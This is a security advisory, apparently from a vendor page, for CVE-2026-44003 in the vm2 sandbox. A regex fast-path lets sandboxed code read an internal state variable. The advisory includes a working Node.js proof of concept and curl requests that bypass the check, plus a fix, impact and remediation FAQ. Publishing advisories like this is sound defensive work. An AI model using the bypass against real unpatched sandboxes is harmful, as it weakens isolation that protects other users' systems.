Summary
vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import).
Details
In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.
When the fast-path is taken:
- INTERNAL_STATE_NAME identifier check is bypassed: The AST visitor that blocks access to
VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAILnever runs withstatement instrumentation is bypassed:with()statements are not wrapped withwrapWith(), enabling scope manipulation- The internal state object exposes:
handleException(e),wrapWith(x),import(what)
While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.
PoC
Library-level PoC (Node.js script, primary):
const { VM } = require("vm2");
const vm = new VM();
// Access internal state (bypassed, no catch/import/async keywords)
const result = vm.run(`
var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
Object.keys(x).join(",")
`);
console.log(result); // "wrapWith,handleException,import"
// Control test, blocked when catch keyword is present
try {
vm.run(`
try {
var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
} catch(e) { e.message }
`);
} catch(e) {
console.log(e.message); // "Use of internal vm2 state variable"
}
HTTP demonstration:
# Internal state access (bypassed)
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\",\")"}'
# Result: "wrapWith,handleException,import"
# Control test, blocked when catch keyword is present
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }"}'
# Result: {"errors":["Use of internal vm2 state variable"]}
Suggested fix:
// transformer.js:55, add 'with' keyword and INTERNAL_STATE_NAME check
if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {
return {__proto__: null, code, hasAsync: false};
}
Impact
- Security Control Bypass: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.
- Defense-in-Depth Violation: Internal security functions are exposed, creating a latent attack surface for future code changes.
- Scope: All applications using vm2. No special configuration required.
CVE-2026-44003 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-44003? CVE-2026-44003 is a medium-severity security vulnerability in vm2 (npm), affecting versions <= 3.10.5. It is fixed in 3.11.0.
- How severe is CVE-2026-44003? CVE-2026-44003 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of vm2 are affected by CVE-2026-44003? vm2 (npm) versions <= 3.10.5 is affected.
- Is there a fix for CVE-2026-44003? Yes. CVE-2026-44003 is fixed in 3.11.0. Upgrade to this version or later.
- Is CVE-2026-44003 exploitable, and should I be worried? Whether CVE-2026-44003 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-44003 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-44003? Upgrade
vm2to 3.11.0 or later.